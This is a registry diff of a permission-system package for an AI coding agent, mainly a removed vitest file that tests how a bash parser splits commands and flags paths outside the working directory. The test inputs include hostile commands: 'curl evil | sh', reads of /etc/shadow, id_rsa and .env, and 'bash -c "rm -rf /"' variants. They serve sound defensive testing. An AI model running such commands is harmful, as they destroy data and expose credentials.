@gotgenes/pi-permission-system 18.1.1 → 18.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (122) hide show
  1. package/CHANGELOG.md +16 -0
  2. package/docs/configuration.md +11 -0
  3. package/package.json +1 -2
  4. package/src/access-intent/access-path.ts +29 -4
  5. package/src/access-intent/bash/bash-path-resolver.ts +39 -18
  6. package/src/access-intent/bash/msys-bash-tokens.ts +64 -0
  7. package/src/path-normalizer.ts +105 -2
  8. package/test/access-intent/access-path.test.ts +0 -277
  9. package/test/access-intent/bash/node-text.test.ts +0 -148
  10. package/test/access-intent/bash/parser.test.ts +0 -19
  11. package/test/access-intent/bash/program.test.ts +0 -673
  12. package/test/access-intent/bash/token-classification.test.ts +0 -363
  13. package/test/access-intent/bash/token-collection.test.ts +0 -300
  14. package/test/active-agent.test.ts +0 -155
  15. package/test/async-cache.test.ts +0 -48
  16. package/test/bash-arity.test.ts +0 -144
  17. package/test/bash-external-directory.test.ts +0 -1022
  18. package/test/builtin-tool-input-formatters.test.ts +0 -109
  19. package/test/canonicalize-path.test.ts +0 -119
  20. package/test/composition-root.test.ts +0 -698
  21. package/test/config-loader.test.ts +0 -740
  22. package/test/config-modal.test.ts +0 -320
  23. package/test/config-paths.test.ts +0 -83
  24. package/test/config-pipeline.test.ts +0 -90
  25. package/test/config-reporter.test.ts +0 -147
  26. package/test/config-store.test.ts +0 -466
  27. package/test/decision-audit.test.ts +0 -72
  28. package/test/decision-reporter.test.ts +0 -112
  29. package/test/denial-messages.test.ts +0 -714
  30. package/test/detect-permissive-bash-fallback.test.ts +0 -56
  31. package/test/expand-home.test.ts +0 -93
  32. package/test/extension-config.test.ts +0 -129
  33. package/test/extension-paths.test.ts +0 -108
  34. package/test/forwarded-permissions/io.test.ts +0 -251
  35. package/test/forwarding-manager.test.ts +0 -200
  36. package/test/handlers/before-agent-start.test.ts +0 -314
  37. package/test/handlers/external-directory-integration.test.ts +0 -515
  38. package/test/handlers/external-directory-session-dedup.test.ts +0 -175
  39. package/test/handlers/external-directory-symlink-acceptance.test.ts +0 -167
  40. package/test/handlers/gates/bash-command-metamorphic.test.ts +0 -88
  41. package/test/handlers/gates/bash-command.test.ts +0 -257
  42. package/test/handlers/gates/bash-external-directory.test.ts +0 -268
  43. package/test/handlers/gates/bash-path.test.ts +0 -346
  44. package/test/handlers/gates/candidate-check.test.ts +0 -52
  45. package/test/handlers/gates/external-directory-messages.test.ts +0 -85
  46. package/test/handlers/gates/external-directory-policy.test.ts +0 -134
  47. package/test/handlers/gates/external-directory.test.ts +0 -267
  48. package/test/handlers/gates/helpers.test.ts +0 -165
  49. package/test/handlers/gates/path.test.ts +0 -369
  50. package/test/handlers/gates/runner.test.ts +0 -408
  51. package/test/handlers/gates/skill-input-gate-pipeline.test.ts +0 -176
  52. package/test/handlers/gates/skill-input.test.ts +0 -128
  53. package/test/handlers/gates/skill-read.test.ts +0 -161
  54. package/test/handlers/gates/tool-call-gate-pipeline.test.ts +0 -356
  55. package/test/handlers/gates/tool.test.ts +0 -244
  56. package/test/handlers/input-events.test.ts +0 -168
  57. package/test/handlers/input.test.ts +0 -199
  58. package/test/handlers/lifecycle.test.ts +0 -221
  59. package/test/handlers/tool-call-boundary.test.ts +0 -145
  60. package/test/handlers/tool-call-events.test.ts +0 -277
  61. package/test/handlers/tool-call.test.ts +0 -395
  62. package/test/handlers/validate-requested-tool.test.ts +0 -92
  63. package/test/helpers/external-directory-fixtures.ts +0 -269
  64. package/test/helpers/gate-fixtures.ts +0 -316
  65. package/test/helpers/handler-fixtures.ts +0 -335
  66. package/test/helpers/make-fake-pi.ts +0 -100
  67. package/test/helpers/manager-harness.ts +0 -112
  68. package/test/helpers/session-fixtures.ts +0 -199
  69. package/test/input-normalizer.test.ts +0 -325
  70. package/test/logging.test.ts +0 -51
  71. package/test/mcp-targets.test.ts +0 -233
  72. package/test/node-modules-discovery.test.ts +0 -97
  73. package/test/normalize.test.ts +0 -247
  74. package/test/path-containment.test.ts +0 -161
  75. package/test/path-normalization.test.ts +0 -233
  76. package/test/path-normalizer.test.ts +0 -196
  77. package/test/path-surfaces.test.ts +0 -55
  78. package/test/pattern-suggest.test.ts +0 -248
  79. package/test/permission-dialog.test.ts +0 -205
  80. package/test/permission-event-rpc.test.ts +0 -560
  81. package/test/permission-events.test.ts +0 -400
  82. package/test/permission-forwarder.test.ts +0 -370
  83. package/test/permission-forwarding.test.ts +0 -315
  84. package/test/permission-gate.test.ts +0 -269
  85. package/test/permission-manager-unified.test.ts +0 -3714
  86. package/test/permission-merge.test.ts +0 -61
  87. package/test/permission-prompter.test.ts +0 -518
  88. package/test/permission-prompts.test.ts +0 -363
  89. package/test/permission-resolver.test.ts +0 -277
  90. package/test/permission-session.test.ts +0 -404
  91. package/test/permission-ui-prompt.test.ts +0 -146
  92. package/test/permissions-service.test.ts +0 -192
  93. package/test/pi-infrastructure-read.test.ts +0 -432
  94. package/test/policy-loader.test.ts +0 -561
  95. package/test/prompting-gateway.test.ts +0 -231
  96. package/test/rule.test.ts +0 -650
  97. package/test/safe-system-paths.test.ts +0 -46
  98. package/test/scope-merge.test.ts +0 -116
  99. package/test/service-lifecycle.test.ts +0 -163
  100. package/test/service.test.ts +0 -261
  101. package/test/session-approval.test.ts +0 -75
  102. package/test/session-logger.test.ts +0 -200
  103. package/test/session-rules.test.ts +0 -321
  104. package/test/session-start.test.ts +0 -112
  105. package/test/skill-prompt-sanitizer.test.ts +0 -418
  106. package/test/status.test.ts +0 -10
  107. package/test/subagent-context.test.ts +0 -372
  108. package/test/subagent-lifecycle-events.test.ts +0 -132
  109. package/test/subagent-registry.test.ts +0 -145
  110. package/test/synthesize.test.ts +0 -302
  111. package/test/system-prompt-sanitizer.test.ts +0 -382
  112. package/test/tool-access-extractor-registry.test.ts +0 -77
  113. package/test/tool-input-formatter-registry.test.ts +0 -75
  114. package/test/tool-input-path.test.ts +0 -84
  115. package/test/tool-input-preview.test.ts +0 -129
  116. package/test/tool-input-prompt-formatters.test.ts +0 -115
  117. package/test/tool-preview-formatter.test.ts +0 -458
  118. package/test/tool-registry.test.ts +0 -197
  119. package/test/value-guards.test.ts +0 -193
  120. package/test/wildcard-matcher.test.ts +0 -424
  121. package/test/yaml-frontmatter.test.ts +0 -91
  122. package/test/yolo-mode.test.ts +0 -188
@@ -1,673 +0,0 @@
1
- import { beforeEach, describe, expect, it, vi } from "vitest";
2
-
3
- // Mock node:fs so realpathSync (used by canonicalizePath) is controllable.
4
- // Default is identity so all existing lexical tests are unaffected.
5
- const realpathSync = vi.hoisted(() =>
6
- vi.fn<(path: string) => string>((p) => p),
7
- );
8
- vi.mock("node:fs", () => ({
9
- realpathSync,
10
- default: { realpathSync },
11
- }));
12
-
13
- import { BashProgram } from "#src/access-intent/bash/program";
14
- import { PathNormalizer } from "#src/path-normalizer";
15
-
16
- describe("BashProgram", () => {
17
- describe("pathRuleCandidates", () => {
18
- const cwd = "/projects/my-app";
19
- const normalizer = new PathNormalizer(process.platform, cwd);
20
-
21
- beforeEach(() => {
22
- realpathSync.mockReset();
23
- realpathSync.mockImplementation((p: string) => p);
24
- });
25
-
26
- it("adds absolute and relative policy values for relative tokens", async () => {
27
- const program = await BashProgram.parse("cat src/foo.ts", normalizer);
28
- const candidates = program.pathRuleCandidates();
29
- expect(candidates.map(({ token }) => token)).toEqual(["src/foo.ts"]);
30
- expect(candidates[0].path.matchValues()).toEqual([
31
- "/projects/my-app/src/foo.ts",
32
- "src/foo.ts",
33
- ]);
34
- expect(candidates[0].path.value()).toBe("/projects/my-app/src/foo.ts");
35
- });
36
-
37
- it("resolves tokens after literal cd against the effective directory", async () => {
38
- const program = await BashProgram.parse(
39
- "cd nested && cat src/file.txt",
40
- normalizer,
41
- );
42
- const fileCandidate = program
43
- .pathRuleCandidates()
44
- .find((candidate) => candidate.token === "src/file.txt");
45
- expect(fileCandidate?.path.matchValues()).toEqual([
46
- "/projects/my-app/nested/src/file.txt",
47
- "nested/src/file.txt",
48
- "src/file.txt",
49
- ]);
50
- expect(fileCandidate?.path.value()).toBe(
51
- "/projects/my-app/nested/src/file.txt",
52
- );
53
- });
54
-
55
- it("adds the canonical alias for a symlinked token (#486)", async () => {
56
- // /projects/my-app/src/foo.ts is a symlink to /vault/foo.ts.
57
- realpathSync.mockImplementation((p: string) =>
58
- p === "/projects/my-app/src/foo.ts" ? "/vault/foo.ts" : p,
59
- );
60
- const program = await BashProgram.parse("cat src/foo.ts", normalizer);
61
- const candidate = program.pathRuleCandidates()[0];
62
- expect(candidate.path.matchValues()).toEqual([
63
- "/projects/my-app/src/foo.ts",
64
- "src/foo.ts",
65
- "/vault/foo.ts",
66
- ]);
67
- });
68
-
69
- it("does not absolute-allow relative tokens after unknown cd", async () => {
70
- const program = await BashProgram.parse(
71
- 'cd "$DIR" && cat src/foo.ts',
72
- normalizer,
73
- );
74
- const fileCandidate = program
75
- .pathRuleCandidates()
76
- .find((candidate) => candidate.token === "src/foo.ts");
77
- expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
78
- expect(fileCandidate?.path.value()).toBe("src/foo.ts");
79
- });
80
-
81
- it("keeps an unknown-cd token literal-only even when it would resolve a symlink (#393)", async () => {
82
- // A canonical alias here would resolve against the wrong (unknown) base.
83
- realpathSync.mockImplementation(() => "/somewhere/else");
84
- const program = await BashProgram.parse(
85
- 'cd "$DIR" && cat src/foo.ts',
86
- normalizer,
87
- );
88
- const fileCandidate = program
89
- .pathRuleCandidates()
90
- .find((candidate) => candidate.token === "src/foo.ts");
91
- expect(fileCandidate?.path.matchValues()).toEqual(["src/foo.ts"]);
92
- expect(fileCandidate?.path.boundaryValue()).toBe("");
93
- });
94
-
95
- describe("rule-driven bare-token promotion (#509)", () => {
96
- it("promotes a bare token when the matcher says it is promotable", async () => {
97
- const isPromotable = (token: string): boolean => token === "id_rsa";
98
- const program = await BashProgram.parse(
99
- "cat id_rsa",
100
- normalizer,
101
- isPromotable,
102
- );
103
- const candidates = program.pathRuleCandidates();
104
- expect(candidates.map(({ token }) => token)).toEqual(["id_rsa"]);
105
- expect(candidates[0].path.matchValues()).toEqual([
106
- "/projects/my-app/id_rsa",
107
- "id_rsa",
108
- ]);
109
- });
110
-
111
- it("does not promote a bare token the matcher rejects", async () => {
112
- const isPromotable = (token: string): boolean => token === "id_rsa";
113
- const program = await BashProgram.parse(
114
- "git status",
115
- normalizer,
116
- isPromotable,
117
- );
118
- expect(program.pathRuleCandidates()).toHaveLength(0);
119
- });
120
-
121
- it("does not promote any bare token with the default no-op matcher", async () => {
122
- const program = await BashProgram.parse("cat id_rsa", normalizer);
123
- expect(program.pathRuleCandidates()).toHaveLength(0);
124
- });
125
-
126
- it("keeps a promoted token literal-only after an unknown cd (#393)", async () => {
127
- const isPromotable = (token: string): boolean => token === "id_rsa";
128
- const program = await BashProgram.parse(
129
- 'cd "$DIR" && cat id_rsa',
130
- normalizer,
131
- isPromotable,
132
- );
133
- const candidate = program
134
- .pathRuleCandidates()
135
- .find((c) => c.token === "id_rsa");
136
- expect(candidate?.path.matchValues()).toEqual(["id_rsa"]);
137
- });
138
-
139
- it("does not double-promote a token the shape gate already accepts", async () => {
140
- // ./id_rsa already passes classifyTokenAsRuleCandidate; the promoted
141
- // fallback must not run (and must not duplicate the candidate).
142
- const isPromotable = (): boolean => true;
143
- const program = await BashProgram.parse(
144
- "cat ./id_rsa",
145
- normalizer,
146
- isPromotable,
147
- );
148
- expect(program.pathRuleCandidates()).toHaveLength(1);
149
- });
150
- });
151
- });
152
-
153
- describe("externalPaths", () => {
154
- const cwd = "/projects/my-app";
155
- const normalizer = new PathNormalizer(process.platform, cwd);
156
-
157
- beforeEach(() => {
158
- realpathSync.mockReset();
159
- realpathSync.mockImplementation((p: string) => p);
160
- });
161
-
162
- it("returns absolute paths resolving outside cwd", async () => {
163
- const program = await BashProgram.parse("cat /etc/hosts", normalizer);
164
- // Subset matcher: the path is normalized before comparison.
165
- expect(program.externalPaths().map((p) => p.value())).toContain(
166
- "/etc/hosts",
167
- );
168
- });
169
-
170
- it("excludes paths within cwd", async () => {
171
- const program = await BashProgram.parse("cat src/index.ts", normalizer);
172
- expect(program.externalPaths()).toHaveLength(0);
173
- });
174
-
175
- describe("win32 projection (injected platform, no vi.mock node:path)", () => {
176
- const winNormalizer = new PathNormalizer("win32", "C:\\Projects\\App");
177
-
178
- it("resolves and case-folds a rooted path outside cwd", async () => {
179
- const program = await BashProgram.parse(
180
- "cat /etc/hosts",
181
- winNormalizer,
182
- );
183
- expect(program.externalPaths().map((p) => p.value())).toEqual([
184
- "c:\\etc\\hosts",
185
- ]);
186
- });
187
-
188
- it("flags a ..-traversal escaping cwd under win32 rules", async () => {
189
- const program = await BashProgram.parse(
190
- "cat ../sibling/x",
191
- winNormalizer,
192
- );
193
- expect(program.externalPaths().map((p) => p.value())).toEqual([
194
- "c:\\projects\\sibling\\x",
195
- ]);
196
- });
197
-
198
- it("folds a current-shell cd so an in-cwd ..-traversal is not flagged", async () => {
199
- const program = await BashProgram.parse(
200
- "cd sub && cat ../x",
201
- winNormalizer,
202
- );
203
- expect(program.externalPaths()).toHaveLength(0);
204
- });
205
- });
206
-
207
- describe("effective working directory projection", () => {
208
- it("folds a sequence of current-shell cd commands", async () => {
209
- // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
210
- const program = await BashProgram.parse(
211
- "cd a && cd b && cat ../c",
212
- normalizer,
213
- );
214
- expect(program.externalPaths()).toHaveLength(0);
215
- });
216
-
217
- it("catches an escape masked by a later cd that the single-base model missed", async () => {
218
- // Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
219
- // ../../etc/passwd escapes to /projects/etc/passwd.
220
- const program = await BashProgram.parse(
221
- "cd nested/deep && cd .. && cat ../../etc/passwd",
222
- normalizer,
223
- );
224
- expect(program.externalPaths().map((p) => p.value())).toContain(
225
- "/projects/etc/passwd",
226
- );
227
- });
228
-
229
- it("folds a cd that is not the first command", async () => {
230
- // The single-base model ignored a cd that was not first; now `cd a`
231
- // folds, so ../b resolves to cwd/b (inside) and is not flagged.
232
- const program = await BashProgram.parse(
233
- "mkdir d && cd a && cat ../b",
234
- normalizer,
235
- );
236
- expect(program.externalPaths()).toHaveLength(0);
237
- });
238
-
239
- it("does not fold a backgrounded cd", async () => {
240
- // `cd a &` runs in a subshell, so it must not update the running
241
- // directory; ../b resolves against cwd and escapes.
242
- const program = await BashProgram.parse("cd a & cat ../b", normalizer);
243
- expect(program.externalPaths().map((p) => p.value())).toContain(
244
- "/projects/b",
245
- );
246
- });
247
-
248
- it("does not fold a cd inside a pipeline", async () => {
249
- // Pipeline members run in subshells; the cd must not leak.
250
- const program = await BashProgram.parse(
251
- "cd nested | cat ../b",
252
- normalizer,
253
- );
254
- expect(program.externalPaths().map((p) => p.value())).toContain(
255
- "/projects/b",
256
- );
257
- });
258
-
259
- it("folds a cd inside a subshell for paths within that subshell", async () => {
260
- // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
261
- const program = await BashProgram.parse(
262
- "( cd sub && cat ../x )",
263
- normalizer,
264
- );
265
- expect(program.externalPaths()).toHaveLength(0);
266
- });
267
-
268
- it("does not leak a subshell cd to following commands", async () => {
269
- // The subshell cd resets on exit, so ../y resolves against cwd.
270
- const program = await BashProgram.parse(
271
- "( cd sub ) && cat ../y",
272
- normalizer,
273
- );
274
- expect(program.externalPaths().map((p) => p.value())).toContain(
275
- "/projects/y",
276
- );
277
- });
278
-
279
- it("persists a cd inside a brace group to later commands in the group", async () => {
280
- // Brace groups run in the current shell, so cd sub persists to cat ../x.
281
- const program = await BashProgram.parse(
282
- "{ cd sub; cat ../x; }",
283
- normalizer,
284
- );
285
- expect(program.externalPaths()).toHaveLength(0);
286
- });
287
-
288
- it("persists a brace-group cd to following sibling commands", async () => {
289
- const program = await BashProgram.parse(
290
- "{ cd sub; } && cat ../x",
291
- normalizer,
292
- );
293
- expect(program.externalPaths()).toHaveLength(0);
294
- });
295
-
296
- it("conservatively flags a relative path inside a command substitution", async () => {
297
- // Interior cd folding inside substitutions is deferred: the interior
298
- // inherits the enclosing base (cwd), so ../r is flagged rather than
299
- // resolved against cwd/q. Conservative — never misses an escape.
300
- const program = await BashProgram.parse(
301
- "echo $(cd q && cat ../r)",
302
- normalizer,
303
- );
304
- expect(program.externalPaths().map((p) => p.value())).toContain(
305
- "/projects/r",
306
- );
307
- });
308
-
309
- it("flags relative paths conservatively after a non-literal cd", async () => {
310
- // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
311
- // so it is flagged (least-privilege).
312
- const program = await BashProgram.parse(
313
- 'cd "$DIR" && cat ../x',
314
- normalizer,
315
- );
316
- expect(program.externalPaths().map((p) => p.value())).toContain(
317
- "/projects/x",
318
- );
319
- });
320
-
321
- it("flags even a within-cwd relative path after a non-literal cd", async () => {
322
- // Conservative cost: src/../within.txt resolves inside cwd but is still
323
- // flagged because the effective dir is unknown.
324
- const program = await BashProgram.parse(
325
- 'cd "$DIR" && cat src/../within.txt',
326
- normalizer,
327
- );
328
- expect(program.externalPaths().map((p) => p.value())).toContain(
329
- "/projects/my-app/within.txt",
330
- );
331
- });
332
-
333
- it("still resolves an absolute path normally after a non-literal cd", async () => {
334
- // Absolute paths are base-independent; one inside cwd is not flagged
335
- // even when the effective dir is unknown.
336
- const program = await BashProgram.parse(
337
- 'cd "$DIR" && cat /projects/my-app/x.txt',
338
- normalizer,
339
- );
340
- expect(program.externalPaths()).toHaveLength(0);
341
- });
342
-
343
- it("treats `cd -` as an unknown effective directory", async () => {
344
- const program = await BashProgram.parse("cd - && cat ../x", normalizer);
345
- expect(program.externalPaths().map((p) => p.value())).toContain(
346
- "/projects/x",
347
- );
348
- });
349
-
350
- it("recovers a known base when a later cd is absolute", async () => {
351
- // cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
352
- // ../x resolves to cwd and is not flagged.
353
- const program = await BashProgram.parse(
354
- 'cd "$DIR" && cd /projects/my-app/src && cat ../x',
355
- normalizer,
356
- );
357
- expect(program.externalPaths()).toHaveLength(0);
358
- });
359
-
360
- it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
361
- // tree-sitter-bash groups `cd a && pnpm x 2>&1 | tail` as
362
- // `(cd a && pnpm x 2>&1) | tail`, burying the current-shell `cd a`
363
- // inside a `pipeline` node. Bash precedence (`|` binds tighter than
364
- // `&&`) makes `cd a` current-shell, so the fold must persist past the
365
- // pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
366
- const program = await BashProgram.parse(
367
- "cd a && pnpm x 2>&1 | tail ; cat ../b",
368
- normalizer,
369
- );
370
- expect(program.externalPaths()).toHaveLength(0);
371
- });
372
-
373
- it("persists the fold past a redirect-then-pipe to a later cd", async () => {
374
- // The issue reproduction: the fold from `cd a/b` survives the
375
- // redirect-then-pipe, so the trailing `cd .. && cd ..` lands back at
376
- // cwd instead of escaping one level above.
377
- const program = await BashProgram.parse(
378
- "cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
379
- normalizer,
380
- );
381
- expect(program.externalPaths()).toHaveLength(0);
382
- });
383
-
384
- it("does not fold the terminal piped command of the first stage", async () => {
385
- // Fail-closed: `cd b` is the terminal command of the first stage, i.e.
386
- // the real pipe stage (a subshell), so it must NOT fold. With the
387
- // correct base cwd/a, ../../x escapes to /projects/x. If `cd b` were
388
- // wrongly folded, the base would be cwd/a/b and ../../x would stay
389
- // inside — a fail-open regression this test pins.
390
- const program = await BashProgram.parse(
391
- "cd a && cd b 2>&1 | tail ; cat ../../x",
392
- normalizer,
393
- );
394
- expect(program.externalPaths().map((p) => p.value())).toContain(
395
- "/projects/x",
396
- );
397
- });
398
-
399
- it("resolves a downstream pipe stage against the folded base", async () => {
400
- // The stage after the `|` runs in a subshell that inherits the folded
401
- // cwd/a, so ../foo resolves inside cwd rather than escaping against the
402
- // pre-cd base.
403
- const program = await BashProgram.parse(
404
- "cd a && pnpm x 2>&1 | cat ../foo",
405
- normalizer,
406
- );
407
- expect(program.externalPaths()).toHaveLength(0);
408
- });
409
- });
410
-
411
- it("flags an absolute in-cwd path that resolves externally via a symlink, returning the typed form", async () => {
412
- // The strict classifier only processes absolute tokens, so the escape
413
- // surface is `cat /cwd/link/hosts` (absolute) where `link -> /etc`.
414
- // The boundary decision still uses the canonical form (so the path is
415
- // flagged), but the returned value is the typed/lexical form so config
416
- // patterns match the path as the user wrote it (#418).
417
- realpathSync.mockImplementation((p: string) => {
418
- if (p === "/projects/my-app/link/hosts") return "/etc/hosts";
419
- return p;
420
- });
421
- const program = await BashProgram.parse(
422
- "cat /projects/my-app/link/hosts",
423
- normalizer,
424
- );
425
- const external = program.externalPaths().map((p) => p.value());
426
- expect(external).toContain("/projects/my-app/link/hosts");
427
- expect(external).not.toContain("/etc/hosts");
428
- });
429
-
430
- it("does not flag a token that resolves within a symlinked cwd", async () => {
431
- // Simulates /tmp -> /private/tmp on macOS; cwd is the canonical form.
432
- const symlinkCwd = "/private/tmp";
433
- realpathSync.mockImplementation((p: string) => {
434
- if (p === "/tmp") return "/private/tmp";
435
- if (p.startsWith("/tmp/")) return `/private/tmp${p.slice(4)}`;
436
- return p;
437
- });
438
- const program = await BashProgram.parse(
439
- "cat /tmp/workspace/file.ts",
440
- new PathNormalizer(process.platform, symlinkCwd),
441
- );
442
- expect(program.externalPaths()).toHaveLength(0);
443
- });
444
- });
445
-
446
- describe("commands", () => {
447
- const cwd = "/projects/my-app";
448
- const normalizer = new PathNormalizer(process.platform, cwd);
449
-
450
- it("returns a single-element list for a lone command", async () => {
451
- const program = await BashProgram.parse("npm install pkg", normalizer);
452
- expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
453
- });
454
-
455
- it("splits an && chain", async () => {
456
- const program = await BashProgram.parse("cd /p && npm i x", normalizer);
457
- expect(program.commands()).toEqual([
458
- { text: "cd /p" },
459
- { text: "npm i x" },
460
- ]);
461
- });
462
-
463
- it("splits || , ; and & separators", async () => {
464
- expect(
465
- (await BashProgram.parse("a || b", normalizer)).commands(),
466
- ).toEqual([{ text: "a" }, { text: "b" }]);
467
- expect((await BashProgram.parse("a ; b", normalizer)).commands()).toEqual(
468
- [{ text: "a" }, { text: "b" }],
469
- );
470
- expect((await BashProgram.parse("a & b", normalizer)).commands()).toEqual(
471
- [{ text: "a" }, { text: "b" }],
472
- );
473
- });
474
-
475
- it("splits a pipeline into its commands", async () => {
476
- const program = await BashProgram.parse("cat f | grep b", normalizer);
477
- expect(program.commands()).toEqual([
478
- { text: "cat f" },
479
- { text: "grep b" },
480
- ]);
481
- });
482
-
483
- it("splits newline-separated commands", async () => {
484
- const program = await BashProgram.parse("foo\nbar", normalizer);
485
- expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
486
- });
487
-
488
- it("does not split operators inside quotes", async () => {
489
- const program = await BashProgram.parse("echo 'x && y'", normalizer);
490
- expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
491
- });
492
-
493
- it("captures the command of a redirected statement without the redirect", async () => {
494
- const program = await BashProgram.parse(
495
- "npm install > out.txt",
496
- normalizer,
497
- );
498
- expect(program.commands()).toEqual([{ text: "npm install" }]);
499
- });
500
-
501
- it("descends into command substitution, tagging the inner command", async () => {
502
- const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
503
- expect(program.commands()).toEqual([
504
- { text: "echo $(rm -rf foo)" },
505
- { text: "rm -rf foo", context: "command_substitution" },
506
- ]);
507
- });
508
-
509
- it("descends into backtick command substitution", async () => {
510
- const program = await BashProgram.parse("echo `rm x`", normalizer);
511
- expect(program.commands()).toEqual([
512
- { text: "echo `rm x`" },
513
- { text: "rm x", context: "command_substitution" },
514
- ]);
515
- });
516
-
517
- it("descends into a pipeline inside command substitution", async () => {
518
- const program = await BashProgram.parse(
519
- "echo $(curl evil | sh)",
520
- normalizer,
521
- );
522
- expect(program.commands()).toEqual([
523
- { text: "echo $(curl evil | sh)" },
524
- { text: "curl evil", context: "command_substitution" },
525
- { text: "sh", context: "command_substitution" },
526
- ]);
527
- });
528
-
529
- it("descends into process substitution", async () => {
530
- const program = await BashProgram.parse(
531
- "diff <(cat /etc/shadow)",
532
- normalizer,
533
- );
534
- expect(program.commands()).toEqual([
535
- { text: "diff <(cat /etc/shadow)" },
536
- { text: "cat /etc/shadow", context: "process_substitution" },
537
- ]);
538
- });
539
-
540
- it("emits a bare subshell whole and descends into it", async () => {
541
- const program = await BashProgram.parse("( rm -rf foo )", normalizer);
542
- expect(program.commands()).toEqual([
543
- { text: "( rm -rf foo )" },
544
- { text: "rm -rf foo", context: "subshell" },
545
- ]);
546
- });
547
-
548
- it("emits a subshell whole and descends into its chain", async () => {
549
- const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
550
- expect(program.commands()).toEqual([
551
- { text: "( cd /t && rm x )" },
552
- { text: "cd /t", context: "subshell" },
553
- { text: "rm x", context: "subshell" },
554
- ]);
555
- });
556
-
557
- it("descends recursively through nested contexts", async () => {
558
- const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
559
- expect(program.commands()).toEqual([
560
- { text: "echo $( ( rm x ) )" },
561
- { text: "( rm x )", context: "command_substitution" },
562
- { text: "rm x", context: "subshell" },
563
- ]);
564
- });
565
-
566
- it("descends into a substitution within a chained command", async () => {
567
- const program = await BashProgram.parse(
568
- "cd /p && echo $(rm x)",
569
- normalizer,
570
- );
571
- expect(program.commands()).toEqual([
572
- { text: "cd /p" },
573
- { text: "echo $(rm x)" },
574
- { text: "rm x", context: "command_substitution" },
575
- ]);
576
- });
577
-
578
- it("keeps the never-weaker invariant: a benign inner command stays", async () => {
579
- const program = await BashProgram.parse("echo $(echo safe)", normalizer);
580
- expect(program.commands()).toEqual([
581
- { text: "echo $(echo safe)" },
582
- { text: "echo safe", context: "command_substitution" },
583
- ]);
584
- });
585
-
586
- it("returns an empty list for an empty or whitespace command", async () => {
587
- expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
588
- expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
589
- [],
590
- );
591
- });
592
-
593
- it("strips a leading env-var assignment prefix", async () => {
594
- const program = await BashProgram.parse(
595
- "AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
596
- normalizer,
597
- );
598
- expect(program.commands()).toEqual([
599
- { text: "aws ec2 terminate-instances --instance-ids i-1" },
600
- ]);
601
- });
602
-
603
- it("strips multiple leading env-var assignments", async () => {
604
- const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
605
- expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
606
- });
607
-
608
- it("strips the env-var prefix of each command in a chain", async () => {
609
- const program = await BashProgram.parse(
610
- "X=1 aws sts get-caller-identity && ls",
611
- normalizer,
612
- );
613
- expect(program.commands()).toEqual([
614
- { text: "aws sts get-caller-identity" },
615
- { text: "ls" },
616
- ]);
617
- });
618
-
619
- it("keeps a pure assignment with no command unchanged", async () => {
620
- const program = await BashProgram.parse("FOO=bar", normalizer);
621
- expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
622
- });
623
-
624
- describe("opaque-payload wrappers", () => {
625
- it.each([
626
- ['bash -c "rm -rf /"', 'bash -c "rm -rf /"'],
627
- ['sh -c "rm -rf /"', 'sh -c "rm -rf /"'],
628
- ['dash -c "rm -rf /"', 'dash -c "rm -rf /"'],
629
- ['zsh -c "rm -rf /"', 'zsh -c "rm -rf /"'],
630
- ['ksh -c "rm -rf /"', 'ksh -c "rm -rf /"'],
631
- ['eval "rm -rf /"', 'eval "rm -rf /"'],
632
- ['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
633
- ['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
634
- ])("flags %s as opaque", async (command, text) => {
635
- const program = await BashProgram.parse(command, normalizer);
636
- expect(program.commands()).toEqual([{ text, opaque: true }]);
637
- });
638
-
639
- it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
640
- const program = await BashProgram.parse(
641
- 'AWS_PROFILE=prod bash -c "rm -rf /"',
642
- normalizer,
643
- );
644
- expect(program.commands()).toEqual([
645
- { text: 'bash -c "rm -rf /"', opaque: true },
646
- ]);
647
- });
648
-
649
- it.each([
650
- "bash script.sh",
651
- "bash",
652
- "ls -la",
653
- "grep -c foo file",
654
- ])("does not flag %s as opaque", async (command) => {
655
- const program = await BashProgram.parse(command, normalizer);
656
- expect(program.commands()).toEqual([{ text: command }]);
657
- });
658
- });
659
- });
660
-
661
- it("derives both slices from a single parse", async () => {
662
- const cwd = "/projects/my-app";
663
- const normalizer = new PathNormalizer(process.platform, cwd);
664
- const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
665
- expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
666
- ".env",
667
- "/etc/hosts",
668
- ]);
669
- const external = program.externalPaths().map((p) => p.value());
670
- expect(external).toContain("/etc/hosts");
671
- expect(external).not.toContain(".env");
672
- });
673
- });